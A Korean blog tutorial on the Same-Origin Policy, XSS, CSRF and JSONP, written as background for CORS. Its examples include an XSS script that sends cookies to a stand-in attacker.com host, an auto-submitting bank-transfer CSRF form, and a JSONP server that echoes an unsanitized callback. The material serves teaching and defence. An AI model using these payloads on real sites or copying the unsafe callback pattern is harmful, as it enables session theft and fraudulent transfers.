CORS(Cross-Origin Resource Sharing) 이해하기 (1)
CORS(Cross-Origin Resource Sharing)는 서로 다른 출처간의 리소스를 공유하기 위한 매커니즘입니다.
이러한 정책이 필요한 이유를 이해하기 위해 SOP(Same-Origin Policy)부터 시작하여 차근차근 정리해보겠습니다.
초창기 웹의 역할과 보안 문제
1990년대 초 웹은 단순한 정적 문서 기반으로 시작되었으며, 보안에 대한 개념이 초기에는 크게 고려되지 않았습니다.
- 초기 웹의 특성
- HTML 문서와 이미지 등 단순 리소스를 가져오는 용도로 설계되었습니다.
- JavaScript 등장
- 1995년 JavaScript가 등장하며 클라이언트 측에서 동적 동작과 데이터를 처리할 수 있는 기능이 추가되었습니다.
- 보안 문제
- 초기에는 출처(Origin)에 대한 제약이 없었기 때문에 웹 페이지에서 다른 사이트의 데이터를 자유롭게 가져오거나, 악의적인 사이트가 민감한 정보를 탈취할 가능성이 있었습니다. (XSS, CSRF 등…)
SOP(Same-Origin Policy)
SOP(Same-Origin Policy, 동일 출처 정책)는 어떤 출처에서 로드된 문서나 스크립트등이 다른 출처의 리소스에 접근하지 못하도록 제한하는 중요한 보안 메커니즘입니다.
이를 통해 악의적인 스크립트가 다른 출처의 민감한 데이터를 탈취하는 것을 방지합니다.
SOP 정의
SOP에서
출처(Origin)는 프로토콜(protocol), 호스트(host), 포트(port) 를 모두 포함한 개념입니다.
즉, 프로토콜, 호스트, 포트가 동일하면 같은 출처(Same-Origin)라고 할 수 있습니다.
- 예시:
- Origin: http://hajeonghun.com
- http://hajeonghun.com/page1 → ✅ 포트가 생략되면 기본 포트기준으로 http 80이므로 동일 출처.
- http://hajeonghun.com:80/page1 → ✅ 프로토콜, 호스트, 포트가 같으므로 동일 출처.
- http://hajeonghun.com:3000/page1 → ❌ 포트가 다르므로 다른 출처.
- https://hajeonghun.com:443/page1 → ❌ 프로토콜이 다르므로 다른 출처.
- http://api.hajeonghun.com:80/page1 → ❌ 서브도메인이 다르므로 다른 출처.
- Origin: http://hajeonghun.com
SOP 탄생배경
웹이 동적으로 발전하면서 같이 보안 문제도 증가하게 되었습니다. 이에 따라 잠재적으로 악의적인 사이트간의 격리를 통해 공격 가능성을 줄이기 위해 탄생하였습니다.
- 브라우저의 역할 확대
- 브라우저가 단순 문서 뷰어에서 클라이언트-서버 통신을 담당하는 플랫폼으로 발전하면서, 공격자가 자바스크립트를 이용해 민감한 정보를 훔치거나 서버에 무단 요청을 보내는 공격이 가능해졌습니다.
- 보안 공격의 현실화
- XSS(Cross-Site Scripting): 공격자가 사용자 브라우저에서 악성 스크립트를 실행합니다.
- CSRF(Cross-Site Request Forgery): 공격자가 사용자의 인증 정보를 도용하여 악의적인 요청을 수행합니다.
- 이런 공격이 SOP가 없는 초기 환경에서는 매우 쉽게 이루어졌습니다.
구분 CSRF XSS 공격 대상 서버 사용자 피해자 인증된 사용자가 자신의 인증 정보를 기반으로 위조된 요청을 보냄 웹사이트의 취약점을 악용하여 다른 사용자가 악성 스크립트를 실행하도록 유도
💡 SOP(Same-Origin Policy)만으로는 웹 보안을 완벽히 달성할 수 없으며, XSS와 CSRF를 방어하기 위해 별도의 보안 대책이 필요합니다.
XSS(Cross-Site Scripting, 크로스사이트 스크립팅)
XSS(Cross-Site Scripting, 크로스사이트 스크립팅)은 해커가 입력한 악의적인 스크립트가 클라이언트 측에서 실행되는 공격으로
쿠키 값 또는 세션 등 사용자의 중요 정보를 탈취하거나 피싱 사이트로의 접근 유도 등 클라이언트 측에 직접적인 피해를 줄 수 있습니다.
- XSS 공격 시나리오 (SOP 도입 전)
- 공격자가 게시판과 같은 사용자 입력을 처리하는 사이트(e.g., http://hajeonghun.com)에서 악성 JavaScript 코드를 삽입한 게시물 작성
- 삽입된 코드는 사용자가 해당 페이지에 방문하여 게시물을 열람할 때 실행되어, 사용자의 쿠키(로그인 세션)를 공격자 서버로 전송
- 공격 코드
1
2
3
4
5
6
7
8
9
<!-- 공격자가 게시판에 삽입한 악성 스크립트 -->
<script>
// 사용자의 쿠키를 공격자 서버로 전송
fetch("http://attacker.com/steal-cookie", {
method: "POST",
body: JSON.stringify({ cookie: document.cookie }),
headers: { "Content-Type": "application/json" }
});
</script>
- SOP가 없는 상황에서 발생 가능한 문제
- 이 코드는 SOP와 무관하게 같은 출처에서 실행되므로 쿠키를 탈취할 수 있습니다.
- 하지만, SOP가 없으면 document.cookie에 담긴 다른 사이트(e.g., http://bank.com)의 쿠키도 읽을 수 있습니다.
- 즉, 공격자는 게시판 사이트(e.g., http://hajeonghun.com)의 사용자의 로그인 세션을 탈취해 해당 사용자의 계정을 도용할 수 있을뿐만 아니라 피해자의 모든 사이트 로그인 세션을 탈취할 수 있습니다.
💡 SOP는 XSS 자체를 100% 방어하지 못하며, 이를 방어하기 위해서는 입력 검증(e.g., HTML 엔티티 인코딩, 정규식 검증) 및 CSP(Content Security Policy) 와 같은 별도의 보안 대책이 필요합니다.
CSRF(Cross-Site Request Forgery, 사이트 간 요청 위조)
CSRF(Cross-Site Request Forgery, 사이트 간 요청 위조)는 사용자가 의도하지 않은 요청을 신뢰할 수 있는 웹 애플리케이션에 보냄으로써 발생하는 보안 취약점입니다.
공격자는 피해자의 인증 정보를 악용하여 서버에 권한이 있는 요청을 위조합니다.
- CSRF 공격 시나리오 (SOP 도입 전)
- 사용자가 은행 사이트(e.g., http://bank.com)에 로그인한 상태에서, 공격자 사이트(e.g., http://attacker.com)를 방문
- 공격자 사이트는 사용자의 인증된 세션을 악용하여 은행 서버로 요청을 보냄
- 공격 코드
1
2
3
4
5
6
7
8
9
10
11
<!-- 공격자가 자신의 악성 사이트(e.g., http://attacker.com)에 삽입 -->
<form action="http://bank.com/api/transfer" method="POST">
<input type="hidden" name="to_account" value="1103109999">
<input type="hidden" name="amount" value="30000000">
<input type="submit" value="Click here to win a prize!">
</form>
<script>
// 사용자가 버튼을 클릭하지 않아도 자동으로 폼 제출
document.forms[0].submit();
</script>
- SOP가 없는 상황에서 발생 가능한 문제
- 은행 사이트(e.g., http://bank.com)의 인증 쿠키는 SOP가 없기 때문에 자동으로 서버에 전송됩니다.
- 은행 서버는 요청이 신뢰할 수 있는 출처에서 온 것인지 확인하지 않고 처리합니다.
- 결과적으로 사용자는 알지 못한 채로 자신의 계좌에서 돈이 빠져나갑니다.
💡 SOP는 CSRF를 100% 방어하지 못합니다. CSRF 방어를 위해서는 CSRF 토큰, Referer 헤더 확인, 또는 SameSite 쿠키 설정 등의 추가적인 보안 메커니즘이 필요합니다.
SOP의 주요 목적
SOP는 브라우저에서 동작하는 자바스크립트와 리소스 요청을 엄격하게 제한하여 아래와 같은 목적들을 달성하려 했습니다.
- 다른 출처 리소스(Cross-Origin Resource) 접근 제한
- 한 웹 페이지에서 로드된 스크립트가 동일 출처(Origin)의 데이터에만 접근할 수 있도록 제한합니다.
- A 웹사이트의 스크립트가 B 사이트의 쿠키나 데이터를 읽지 못하게 합니다.
- 사용자 프라이버시 보호
- 공격자가 사용자의 민감한 정보를 탈취하거나, 악의적인 요청을 보낼 가능성을 차단합니다.
- 보안 정책의 표준화
- 브라우저 간 통일된 정책을 적용함으로써, 개발자가 모든 환경에서 동작하는 안전한 웹 애플리케이션을 개발할 수 있게 합니다.
교차 출처가 허용되는 리소스(예외 사항)
- <script src=”…”>
<script src="https://external.com/script.js"></script>와 같이 외부 출처(Cross-Origin)에 대한 요청을 허용합니다.
- <link rel=”stylesheet” href=”…”>
- 외부 CSS 파일을 로드할 수 있으며, 외부 출처(Cross-Origin) 로드가 가능합니다.
- 하지만, 브라우저는 CSS MIME 타입(Content-Type)이 올바르게 설정되지 않은 경우 로드를 차단합니다.
- e.g., MIME 타입이 text/css가 아닌 경우 차단
- 또한, 로드된 CSS 파일은 반드시 유효한 CSS 규칙(올바른 문법)으로 시작해야 합니다.
- 이는 잘못된 리소스가 불필요하게 로드되거나 공격자가 CSS를 위장한 다른 파일을 전송하지 못하도록 하는 안전 장치입니다.
- <img src=”…”>
- 외부 출처(Cross-Origin)의 이미지를 자유롭게 로드할 수 있습니다.
Canvas API로 외부 출처 이미지를 처리하려는 경우 제한이 있습니다. 이는 픽셀 데이터를 직접 접근할 수 없도록 하여 보안 위험을 줄이기 위한 조치입니다.- e.g., 개인 문서 스캔본, 신용카드 정보 등의 개인정보가 포함된 이미지
- <iframe src=”…”>
- 그 외 <video>, <audio>, <object>, <embed>, @font-face 등…
SOP의 한계와 극복 과정
- 한계
- 엄격한 제한
- 유효한 크로스-도메인 통신 시나리오(e.g., API 서버와 프론트엔드 도메인이 다를 경우)에도 SOP가 통신을 막아 개발이 어려워지는 경우가 생깁니다.
- 복잡한 예외 처리 필요
- 특정 조건에서 다른 도메인에 리소스를 허용해야 할 때 SOP 단독으로는 충분하지 않습니다.
- 엄격한 제한
- 극복하기 위한 대안
- JSONP
- CORS가 등장하기 전,
script태그를 사용해 동적으로 JSON 데이터를 가져오던 방식입니다. - 보안 취약점이 많아 현재는 사용을 지양하며, 개인적인 의견으로는 CORS로 인해 지금 사용할 이유는 딱히 없다고 생각됩니다.
- CORS가 등장하기 전,
- CORS(Cross-Origin Resource Sharing)
- SOP의 한계를 극복하기 위해, 서버가 특정 출처를 허용하도록 명시할 수 있는 HTTP 헤더 기반 메커니즘입니다.
- 서버가
Access-Control-Allow-Origin헤더로 특정 출처를 허용할 수 있습니다.
- JSONP
JSONP
SOP로 인해 보안을 강화한건 분명하지만, SOP의 한계에서 말했듯이 웹 브라우저가 점점 동적으로 발전하며 다른 출처의 데이터를 가져와야 하는 경우가 필요해졌습니다. (e.g., 다른 출처의 서버에서 제공하는 공공 API 데이터 호출)
JSONP는 이러한 문제를 우회하기 위해 등장한 기술입니다.
JSONP의 출발점
- 교차 출처가 허용되는 리소스(예외 사항)에서 언급한
<script>태그는 SOP의 제한을 받지 않습니다. 즉, 외부 스크립트를 로드할 수 있습니다. - 이를 활용하여 데이터를 JavaScript Callback 함수로 감싸서 전달하면, 마치 스크립트를 실행하듯 데이터를 받아올 수 있습니다.
JSONP의 동작 방식
- 클라이언트에서 API 호출(fetch, XMLHttpRequest) 대신 <script> 태그를 생성합니다.
- 요청 URL에 Callback 함수 이름을 쿼리에 포함합니다. (e.g., http://localhost:4000/api/data?callback=myCallback)
- Callback이 없다면 단순히 <script> 태그로 응답받은 데이터는 사용이 불가능합니다.
1
2
3
4
5
6
7
8
9
10
11
12
<!--응답받은 메시지를 보여주기 위함-->
<p id="result"></p>
<!--callback 함수 선언-->
<script>
function myCallback(data){
console.log({data})
document.getElementById('result').innerText = `Server Response: ${data.message}`;
}
</script>
<!--JSONP 요청-->
<script src="http://localhost:4000/api/data?callback=myCallback"></script>
- 서버는 데이터를 콜백 함수로 감싸서 응답합니다.
1
2
3
4
5
6
// Express 서버
app.get('/api/data', (req, res) => {
const callback = req.query.callback; // 클라이언트에서 전달한 callback 이름
res.send(`${callback}({ message: 'Hello JSONP!', data: [1, 2, 3, 4, 5] })`);
});
- 브라우저는 이 스크립트를 실행하면서 콜백 함수를 호출합니다.
JSONP의 단점
- 보안 문제
- JSONP는 기본적으로 <script> 태그를 통해 데이터를 받아오기 때문에 악성 코드가 삽입될 가능성이 있습니다.
- 데이터와 함께 의도치 않은 JavaScript 코드가 실행될 수 있어 XSS(Cross-Site Scripting) 공격에 취약합니다.
- HTTP 메서드 제한
- JSONP는
GET요청만 지원합니다. 따라서 데이터를 전송하거나 수정하기 위한POST,PUT같은 메서드를 사용할 수 없습니다.
- JSONP는
- 복잡한 에러 처리
- <script> 태그를 통해 요청이 이루어지기 때문에, 표준적인 HTTP 응답 상태 코드(e.g., 404, 500)를 사용할 수 없습니다.
- 따라서 네트워크 오류를 처리하는 것이 어렵습니다. 실패 시 단순히 <script>가 로드되지 않을 뿐, 에러 정보를 제공하지 않습니다.